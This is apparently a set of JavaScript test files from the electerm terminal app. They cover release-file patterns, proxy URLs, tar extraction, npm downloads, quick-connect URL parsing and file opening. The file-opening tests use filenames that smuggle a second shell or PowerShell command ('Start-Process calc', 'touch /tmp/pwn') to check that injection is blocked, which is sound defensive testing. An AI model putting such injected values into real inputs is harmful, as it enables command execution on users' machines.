`electerm-${v}-win-x64.tar.gz`,
`electerm-${v}-win7.tar.gz`
]
test('pattern: win-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win-x64.tar.gz`])
})
test('pattern: win-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win-arm64.tar.gz`])
})
test('pattern: win7 matches exactly one file', () => {
const { pattern } = getDownloadPattern('win32', 'x64', { win7: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-win7.tar.gz`])
})
test('pattern: mac-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac-x64.dmg`])
})
test('pattern: mac-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac-arm64.dmg`])
})
test('pattern: mac10-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', { mac10: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-mac10-x64.dmg`])
})
test('pattern: linux-x64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-x64.tar.gz`])
})
test('pattern: linux-x64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-x64-legacy.tar.gz`])
})
test('pattern: linux-arm64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-arm64.tar.gz`])
})
test('pattern: linux-arm64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-arm64-legacy.tar.gz`])
})
test('pattern: linux-armv7l matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-armv7l.tar.gz`])
})
test('pattern: linux-armv7l-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-armv7l-legacy.tar.gz`])
})
test('pattern: linux-loong64 matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'loong64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-loong64.tar.gz`])
})
test('pattern: linux-loong64-legacy matches exactly one file', () => {
const { pattern } = getDownloadPattern('linux', 'loong64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${v}-linux-loong64-legacy.tar.gz`])
})
test('pattern: unsupported platform returns null pattern', () => {
const { pattern, type } = getDownloadPattern('freebsd', 'x64', {})
expect(pattern).toBe(null)
expect(type).toBe('unsupported')
})
// =============================================================================
// Tests: Extracted Binary Path
// =============================================================================
console.log('\n=== Extracted Binary Path Tests ===\n')
test('getElectermExePath: returns correct path for current platform', () => {
const exePath = getElectermExePath()
if (plat === 'win32') {
expect(exePath).toBe(path.join(_extractDir, 'electerm.exe'))
} else {
expect(exePath).toBe(path.join(_extractDir, 'electerm'))
}
})
test('getElectermExePath: extractDir is inside packageRoot', () => {
expect(_extractDir).toContain(_packageRoot)
expect(_extractDir).toBe(path.join(_packageRoot, 'electerm'))
})
test('isElectermExtracted: returns boolean', () => {
const result = isElectermExtracted()
expect(typeof result).toBe('boolean')
})
// =============================================================================
// Tests: Utils - Proxy Support
// =============================================================================
console.log('\n=== Utils Proxy Tests ===\n')
test('applyProxy: returns original URL when no proxy configured', () => {
// GITHUB_PROXY is empty by default in tests
const result = applyProxy('https://github.com/test/file.tar.gz')
expect(result).toBe('https://github.com/test/file.tar.gz')
})
test('applyProxy: does not proxy non-GitHub URLs', () => {
const result = applyProxy('https://example.com/file.tar.gz')
expect(result).toBe('https://example.com/file.tar.gz')
})
test('applyProxy: proxies GitHub URLs when GITHUB_PROXY is set', () => {
// Test the logic directly since module caches GITHUB_PROXY at load time
const proxy = 'https://electerm-mirror.html5beta.com'
const url = 'https://github.com/electerm/electerm/releases/download/v1.0.0/test.tar.gz'
// Simulate the applyProxy logic
const cleanProxy = proxy.replace(/\/+$/, '')
const result = `${cleanProxy}/${url}`
expect(result).toBe('https://electerm-mirror.html5beta.com/https://github.com/electerm/electerm/releases/download/v1.0.0/test.tar.gz')
})
test('applyProxy: handles proxy URL with trailing slash', () => {
const proxy = 'https://electerm-mirror.html5beta.com/'
const url = 'https://github.com/test/file.tar.gz'
const cleanProxy = proxy.replace(/\/+$/, '')
const result = `${cleanProxy}/${url}`
expect(result).toBe('https://electerm-mirror.html5beta.com/https://github.com/test/file.tar.gz')
})
test('formatBytes: formats bytes correctly', () => {
expect(formatBytes(0)).toBe('0 B')
expect(formatBytes(1024)).toBe('1 KB')
expect(formatBytes(1048576)).toBe('1 MB')
expect(formatBytes(1073741824)).toBe('1 GB')
})
test('formatBytes: handles partial units', () => {
expect(formatBytes(1536)).toBe('1.5 KB')
expect(formatBytes(1572864)).toBe('1.5 MB')
})
// =============================================================================
// Tests: Utils - Tar Extract (sync-friendly)
// =============================================================================
console.log('\n=== Utils Tar Extract Tests ===\n')
test('extractTarGz: extracts a tar.gz file', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-tar-'))
const extDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-extract-'))
try {
const testFile = path.join(tmpDir, 'test.txt')
fs.writeFileSync(testFile, 'Hello World')
const tarFile = path.join(tmpDir, 'test.tar.gz')
await tar.create({ gzip: true, file: tarFile, cwd: tmpDir }, ['test.txt'])
await extractTarGz(tarFile, extDir)
expect(fs.existsSync(path.join(extDir, 'test.txt'))).toBe(true)
const content = fs.readFileSync(path.join(extDir, 'test.txt'), 'utf8')
expect(content).toBe('Hello World')
} finally {
fs.rmSync(tmpDir, { recursive: true })
fs.rmSync(extDir, { recursive: true })
}
})
test('extractTarGz: strips top-level directory with strip:1', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-strip-'))
const extDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-strip-extract-'))
try {
const appDir = path.join(tmpDir, 'myapp')
fs.mkdirSync(appDir)
fs.writeFileSync(path.join(appDir, 'test.txt'), 'Stripped!')
const tarFile = path.join(tmpDir, 'test.tar.gz')
await tar.create({ gzip: true, file: tarFile, cwd: tmpDir }, ['myapp'])
await extractTarGz(tarFile, extDir, 1)
expect(fs.existsSync(path.join(extDir, 'test.txt'))).toBe(true)
expect(fs.existsSync(path.join(extDir, 'myapp'))).toBe(false)
} finally {
fs.rmSync(tmpDir, { recursive: true })
fs.rmSync(extDir, { recursive: true })
}
})
// =============================================================================
// Tests: CLI Launcher Flow
// =============================================================================
console.log('\n=== CLI Launcher Flow Tests ===\n')
test('node launcher: correct path navigation', () => {
const npmDir = path.join(_packageRoot, 'npm')
const expectedPackageRoot = path.resolve(npmDir, '..')
expect(expectedPackageRoot).toBe(_packageRoot)
})
test('node launcher: checks for electerm binary existence', () => {
const expectedBinaryPath = path.join(_packageRoot, 'electerm', 'electerm')
expect(expectedBinaryPath).toBe(getElectermExePath())
})
test('install flow: extractDir is correct', () => {
expect(_extractDir).toBe(path.join(_packageRoot, 'electerm'))
})
test('install flow: no infinite recursion', () => {
// install.js does NOT call exec('electerm')
// It only downloads and extracts
// The node launcher then spawns the extracted binary directly
const installExports = require('../../npm/install')
expect(typeof installExports.isElectermExtracted).toBe('function')
expect(typeof installExports.getElectermExePath).toBe('function')
})
test('node launcher: launches binary after install', () => {
// The Node.js launcher flow:
// 1. Check if ./electerm/electerm exists
// 2. If not: spawn node ./npm/install.js (downloads & extracts)
// 3. Spawn ./electerm/electerm (launches binary)
//
// This prevents infinite recursion because:
// - install.js never calls 'electerm' command
// - Node.js launcher uses spawn/execFile to run the binary directly
// - npm creates a proper .cmd wrapper on Windows via #!/usr/bin/env node
const bashScriptPath = path.join(_packageRoot, 'npm', 'electerm')
expect(fs.existsSync(bashScriptPath)).toBe(true)
})
// =============================================================================
// Tests: Cross-Platform Paths
// =============================================================================
console.log('\n=== Cross-Platform Path Tests ===\n')
test('paths: packageRoot is absolute', () => {
expect(path.isAbsolute(_packageRoot)).toBe(true)
})
test('paths: extractDir is absolute', () => {
expect(path.isAbsolute(_extractDir)).toBe(true)
})
test('paths: extractDir is child of packageRoot', () => {
expect(_extractDir.startsWith(_packageRoot)).toBe(true)
})
// =============================================================================
// Async HTTP Tests (run last to avoid output interleaving)
// =============================================================================
console.log('\n=== Utils HTTP Tests (async) ===\n')
testAsync('httpGet: fetches a URL', async () => {
const result = await httpGet('https://httpbin.org/get', 10000)
expect(typeof result).toBe('string')
expect(result).toContain('httpbin.org')
})
testAsync('phin: makes HTTP request', async () => {
const result = await phin({ url: 'https://httpbin.org/get', timeout: 10000 })
expect(result.statusCode).toBe(200)
expect(Buffer.isBuffer(result.body)).toBe(true)
expect(result.body.toString()).toContain('httpbin.org')
})
testAsync('httpGet: handles redirects', async () => {
const result = await httpGet('https://httpbin.org/redirect/1', 10000)
expect(typeof result).toBe('string')
})
testAsync('httpGet: throws on 404', async () => {
try {
await httpGet('https://httpbin.org/status/404', 10000)
throw new Error('Expected to throw')
} catch (e) {
expect(e.message).toContain('404')
}
})
testAsync('download: downloads a file', async () => {
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-dl-'))
try {
const result = await download(
'https://httpbin.org/robots.txt',
tmpDir,
{ extract: false }
)
expect(result.filepath).toContain('robots.txt')
expect(result.extracted).toBe(false)
expect(fs.existsSync(result.filepath)).toBe(true)
} finally {
fs.rmSync(tmpDir, { recursive: true })
}
})
// =============================================================================
// Run all async tests and print results
// =============================================================================
async function runAsyncTests () {
for (const fn of asyncQueue) {
await fn()
}
}
async function printResults () {
await runAsyncTests()
console.log('\n========================================')
console.log(`Results: ${passed} passed, ${failed} failed`)
console.log('========================================\n')
process.exit(failed > 0 ? 1 : 0)
}
printResults().catch(err => {
console.error('Test runner error:', err)
process.exit(1)
})
+63
View File
@@ -0,0 +1,63 @@
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('assert/strict')
const path = require('path')
const fs = require('fs')
const { downloadPackage } = require('../../src/app/lib/npm')
const testFolder = path.join(__dirname, 'npm-test-modules')
describe('npm', () => {
beforeEach(() => {
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
afterEach(() => {
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
test('should download a simple package from npm', async () => {
const pkgPath = await downloadPackage('lodash', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
const lodash = require(path.join(pkgPath, 'lodash.js'))
assert.ok(lodash.clone)
assert.ok(lodash.without)
})
test('should return cached path if package already exists', async () => {
const firstPath = await downloadPackage('lodash', testFolder)
const secondPath = await downloadPackage('lodash', testFolder)
assert.strictEqual(firstPath, secondPath)
})
test('should download a package with dependencies', async () => {
const pkgPath = await downloadPackage('debug', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
})
test('should throw error for non-existent package', async () => {
await assert.rejects(
async () => {
await downloadPackage('this-package-does-not-exist-12345', testFolder)
},
(err) => {
return err.message.includes('this-package-does-not-exist-12345') || err.code === 'ENOTFOUND'
}
)
})
test('should download ftp-srv package with dependencies', async () => {
const pkgPath = await downloadPackage('ftp-srv', testFolder)
assert.ok(fs.existsSync(pkgPath))
assert.ok(fs.existsSync(path.join(pkgPath, 'package.json')))
const { FtpSrv } = require(pkgPath)
assert.ok(FtpSrv)
assert.ok(typeof FtpSrv === 'function')
})
})
+121
View File
@@ -0,0 +1,121 @@
const test = require('node:test')
const assert = require('node:assert/strict')
const childProcess = require('child_process')
const originalSpawn = childProcess.spawn
async function withPlatform (platform, run) {
const descriptor = Object.getOwnPropertyDescriptor(process, 'platform')
Object.defineProperty(process, 'platform', {
configurable: true,
value: platform
})
try {
await run()
} finally {
Object.defineProperty(process, 'platform', descriptor)
}
}
test.afterEach(() => {
childProcess.spawn = originalSpawn
delete require.cache[require.resolve('../../src/app/lib/open-file-with-editor')]
})
test('parseEditorCommand preserves quoted executable and args', () => {
const { parseEditorCommand } = require('../../src/app/lib/open-file-with-editor')
const result = parseEditorCommand('"C:\\Program Files\\Notepad++\\notepad++.exe" -multiInst -nosession')
assert.equal(result.command, 'C:\\Program Files\\Notepad++\\notepad++.exe')
assert.deepEqual(result.args, ['-multiInst', '-nosession'])
})
test('openFileWithEditor passes malicious filenames as a literal Windows argument', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
await withPlatform('win32', async () => {
const { openFileWithEditor } = require('../../src/app/lib/open-file-with-editor')
await openFileWithEditor('C:\\Temp\\poc";Start-Process calc;#.txt', 'notepad.exe')
})
assert.equal(spawnCall.command, 'powershell.exe')
assert.deepEqual(spawnCall.args.slice(0, 2), ['-NoLogo', '-Command'])
assert.match(spawnCall.args[2], /& \$editor @editorArgs/)
assert.equal(
Buffer.from(spawnCall.options.env.ELECTERM_EDITOR_COMMAND_B64, 'base64').toString('utf8'),
'notepad.exe'
)
assert.deepEqual(
JSON.parse(Buffer.from(spawnCall.options.env.ELECTERM_EDITOR_ARGS_B64, 'base64').toString('utf8')),
['C:\\Temp\\poc";Start-Process calc;#.txt']
)
assert.equal(spawnCall.options.windowsHide, true)
})
test('openFileWithEditor passes malicious filenames as a literal shell argument on Unix', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const originalShell = process.env.SHELL
process.env.SHELL = '/bin/zsh'
try {
await withPlatform('darwin', async () => {
const { openFileWithEditor } = require('../../src/app/lib/open-file-with-editor')
await openFileWithEditor('/tmp/poc";touch /tmp/pwn;#.txt', 'code --wait')
})
} finally {
process.env.SHELL = originalShell
}
assert.equal(spawnCall.command, '/bin/zsh')
assert.deepEqual(spawnCall.args, [
'-l',
'-i',
'-c',
'exec "$0" "$@"',
'code',
'--wait',
'/tmp/poc";touch /tmp/pwn;#.txt'
])
assert.equal(spawnCall.options.detached, false)
})
test('parseEditorCommand rejects unmatched quotes', () => {
const { parseEditorCommand } = require('../../src/app/lib/open-file-with-editor')
assert.throws(
() => parseEditorCommand('"C:\\Program Files\\Notepad++\\notepad++.exe'),
/unmatched quote/
)
})
+89
View File
@@ -0,0 +1,89 @@
const test = require('node:test')
const assert = require('node:assert/strict')
const childProcess = require('child_process')
const os = require('os')
const originalSpawn = childProcess.spawn
const originalPlatform = os.platform
const originalArch = os.arch
const originalNodeEnv = process.env.NODE_ENV
function loadFsForPlatform (platform) {
os.platform = () => platform
os.arch = () => 'x64'
process.env.NODE_ENV = 'development'
delete require.cache[require.resolve('../../src/app/lib/fs')]
delete require.cache[require.resolve('../../src/app/common/runtime-constants')]
return require('../../src/app/lib/fs').fsExport
}
test.afterEach(() => {
childProcess.spawn = originalSpawn
os.platform = originalPlatform
os.arch = originalArch
process.env.NODE_ENV = originalNodeEnv
delete require.cache[require.resolve('../../src/app/lib/fs')]
delete require.cache[require.resolve('../../src/app/common/runtime-constants')]
})
test('openFile passes malicious Windows filenames as a literal PowerShell argument', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const fsExport = loadFsForPlatform('win32')
await fsExport.openFile("C:\\Temp\\poc';Start-Process calc;#.txt")
assert.equal(spawnCall.command, 'powershell.exe')
assert.deepEqual(spawnCall.args.slice(0, 3), [
'-NoLogo',
'-NonInteractive',
'-Command'
])
assert.match(spawnCall.args[3], /Invoke-Item -LiteralPath \$path/)
assert.equal(
Buffer.from(spawnCall.options.env.ELECTERM_OPEN_FILE_PATH_B64, 'base64').toString('utf8'),
"C:\\Temp\\poc';Start-Process calc;#.txt"
)
assert.equal(spawnCall.options.windowsHide, true)
})
test('openFile passes malicious Unix filenames directly to open command', async () => {
let spawnCall
childProcess.spawn = (command, args, options) => {
spawnCall = { command, args, options }
return {
stderr: {
on: () => {}
},
on: (event, handler) => {
if (event === 'close') {
process.nextTick(() => handler(0))
}
},
unref: () => {}
}
}
const fsExport = loadFsForPlatform('darwin')
await fsExport.openFile('/tmp/poc";touch /tmp/pwn;#.txt')
assert.equal(spawnCall.command, 'open')
assert.deepEqual(spawnCall.args, ['/tmp/poc";touch /tmp/pwn;#.txt'])
assert.equal(spawnCall.options.detached, false)
})
+691
View File
@@ -0,0 +1,691 @@
/**
* Quick Connect Parser Tests
* Uses Node.js built-in test function (node:test)
*/
const { test, describe } = require('node:test')
const assert = require('node:assert')
const {
parseQuickConnect,
getDefaultPort,
getSupportedProtocols,
SUPPORTED_PROTOCOLS,
DEFAULT_PORTS
} = require('../../src/app/common/parse-quick-connect')
describe('parseQuickConnect', function () {
// Test null/undefined/empty input
test('should return null for null input', () => {
assert.strictEqual(parseQuickConnect(null), null)
})
test('should return null for undefined input', () => {
assert.strictEqual(parseQuickConnect(undefined), null)
})
test('should return null for empty string', () => {
assert.strictEqual(parseQuickConnect(''), null)
})
test('should return null for whitespace only', () => {
assert.strictEqual(parseQuickConnect(' '), null)
})
// Test SSH protocol
test('should parse ssh://user@host', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, undefined)
})
test('should parse ssh://user:password@host', () => {
const result = parseQuickConnect('ssh://user:password@192.168.1.100:22')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 22)
})
test('should parse ssh://host (without username)', () => {
const result = parseQuickConnect('ssh://192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, undefined)
})
test('should parse ssh://host:port', () => {
const result = parseQuickConnect('ssh://192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test SSH shortcut format
test('should parse user@host (shortcut)', () => {
const result = parseQuickConnect('user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse user@host:port (shortcut)', () => {
const result = parseQuickConnect('user@192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 2222)
})
test('should parse host (shortcut)', () => {
const result = parseQuickConnect('192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse host:port (shortcut)', () => {
const result = parseQuickConnect('192.168.1.100:2222')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test SSH shortcut format with hostname containing colon
test('should parse hostname:port with letters (shortcut)', () => {
const result = parseQuickConnect('localhost:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'localhost')
assert.strictEqual(result.port, 23344)
})
test('should parse hostname:port with multiple labels (shortcut)', () => {
const result = parseQuickConnect('my-server:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'my-server')
assert.strictEqual(result.port, 23344)
})
test('should parse user@hostname:port (shortcut)', () => {
const result = parseQuickConnect('user@localhost:23344')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'localhost')
assert.strictEqual(result.port, 23344)
assert.strictEqual(result.username, 'user')
})
// Test Telnet protocol
test('should parse telnet://user@host', () => {
const result = parseQuickConnect('telnet://user@192.168.1.1:23')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 23)
})
test('should parse telnet://host', () => {
const result = parseQuickConnect('telnet://192.168.1.1')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
// Test VNC protocol
test('should parse vnc://user@host', () => {
const result = parseQuickConnect('vnc://user@192.168.1.100:5900')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 5900)
})
test('should parse vnc://host', () => {
const result = parseQuickConnect('vnc://192.168.1.100')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test RDP protocol
test('should parse rdp://user@host', () => {
const result = parseQuickConnect('rdp://admin@192.168.1.100:3389')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'admin')
assert.strictEqual(result.port, 3389)
})
test('should parse rdp://host', () => {
const result = parseQuickConnect('rdp://192.168.1.100')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test Spice protocol
test('should parse spice://host', () => {
const result = parseQuickConnect('spice://192.168.1.100:5900')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 5900)
})
test('should parse spice://password:host', () => {
const result = parseQuickConnect('spice://password:192.168.1.100:5900')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 5900)
})
// Test Serial protocol
test('should parse serial://COM1', () => {
const result = parseQuickConnect('serial://COM1')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
})
test('should parse serial://COM1?baudRate=115200', () => {
const result = parseQuickConnect('serial://COM1?baudRate=115200')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
assert.strictEqual(result.baudRate, 115200)
})
test('should parse serial:///dev/ttyUSB0?baudRate=9600', () => {
const result = parseQuickConnect('serial:///dev/ttyUSB0?baudRate=9600')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, '/dev/ttyUSB0')
assert.strictEqual(result.baudRate, 9600)
})
// Test FTP protocol
test('should parse ftp://user@host', () => {
const result = parseQuickConnect('ftp://user@ftp.example.com:21')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.port, 21)
})
test('should parse ftp://user:password@host', () => {
const result = parseQuickConnect('ftp://user:password@ftp.example.com:21')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.password, 'password')
})
test('should parse ftp://ftpuser:ftppass@0.0.0.0:2121', () => {
const result = parseQuickConnect('ftp://ftpuser:ftppass@0.0.0.0:2121')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, '0.0.0.0')
assert.strictEqual(result.user, 'ftpuser')
assert.strictEqual(result.password, 'ftppass')
assert.strictEqual(result.port, 2121)
})
// Test HTTP/HTTPS protocols
test('should parse http://host', () => {
const result = parseQuickConnect('http://192.168.1.100:8080')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://192.168.1.100:8080')
})
test('should parse https://host', () => {
const result = parseQuickConnect('https://192.168.1.100:8443')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://192.168.1.100:8443')
})
test('should parse https://example.com', () => {
const result = parseQuickConnect('https://example.com')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse http://host?query params', () => {
const result = parseQuickConnect('http://example.com?key=value&foo=bar')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://example.com?key=value&foo=bar')
})
test('should parse https://host?title=xxx', () => {
const result = parseQuickConnect('https://example.com?title=MyPage&type=web')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com?title=MyPage&type=web')
})
// Test opts parameter
test('should parse opts with single quotes', () => {
const result = parseQuickConnect("ssh://user@host:22?opts='{\"title\": \"My Server\"}'")
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.title, 'My Server')
})
test('should parse opts with double quotes', () => {
const result = parseQuickConnect('ssh://user@host:22?opts={"title": "My Server"}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.title, 'My Server')
})
test('should parse opts and merge with other params', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?title=MyServer&opts={"title":"MyServer","username":"user","password":"password"}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.title, 'MyServer')
})
// Test sshTunnels via opts
test('should parse sshTunnels from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?opts={"sshTunnels":[{"sshTunnel":"forwardLocalToRemote","sshTunnelLocalPort":8080,"sshTunnelRemoteHost":"localhost","sshTunnelRemotePort":80}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 22)
assert.deepStrictEqual(result.sshTunnels, [{
sshTunnel: 'forwardLocalToRemote',
sshTunnelLocalPort: 8080,
sshTunnelRemoteHost: 'localhost',
sshTunnelRemotePort: 80
}])
})
// Test connectionHoppings via opts
test('should parse connectionHoppings from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?opts={"connectionHoppings":[{"host":"192.168.1.101","port":22,"username":"user2","password":"pass2"}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.deepStrictEqual(result.connectionHoppings, [{
host: '192.168.1.101',
port: 22,
username: 'user2',
password: 'pass2'
}])
})
// Test both sshTunnels and connectionHoppings together
test('should parse both sshTunnels and connectionHoppings from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100?opts={"sshTunnels":[{"sshTunnel":"dynamicForward","sshTunnelLocalPort":1080}],"connectionHoppings":[{"host":"jump.host","port":22,"username":"jumper"}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.sshTunnels.length, 1)
assert.strictEqual(result.sshTunnels[0].sshTunnel, 'dynamicForward')
assert.strictEqual(result.sshTunnels[0].sshTunnelLocalPort, 1080)
assert.strictEqual(result.connectionHoppings.length, 1)
assert.strictEqual(result.connectionHoppings[0].host, 'jump.host')
assert.strictEqual(result.connectionHoppings[0].username, 'jumper')
})
// Test SSH default values (enableSsh, enableSftp, useSshAgent, term, encode, envLang)
test('should add default values for SSH type', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.enableSsh, true)
assert.strictEqual(result.enableSftp, true)
assert.strictEqual(result.useSshAgent, true)
assert.strictEqual(result.term, 'xterm-256color')
assert.strictEqual(result.encode, 'utf-8')
assert.strictEqual(result.envLang, 'en_US.UTF-8')
})
// Test VNC default values
test('should add default values for VNC type', () => {
const result = parseQuickConnect('vnc://192.168.1.100')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.scaleViewport, true)
})
// Test RDP default values
test('should add default values for RDP type', () => {
const result = parseQuickConnect('rdp://192.168.1.100')
assert.strictEqual(result.type, 'rdp')
})
// Test Serial default values
test('should add default values for Serial type', () => {
const result = parseQuickConnect('serial://COM1')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.baudRate, 9600)
assert.strictEqual(result.dataBits, 8)
assert.strictEqual(result.stopBits, 1)
assert.strictEqual(result.parity, 'none')
})
// Test Telnet default port
test('should add default port for Telnet type', () => {
const result = parseQuickConnect('telnet://192.168.1.1')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.port, 23)
})
// Test with title query param
test('should parse title from query param', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?title=MyServer')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.title, 'MyServer')
})
// Test trailing slash support
test('should parse ssh://user@host/ with trailing slash', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
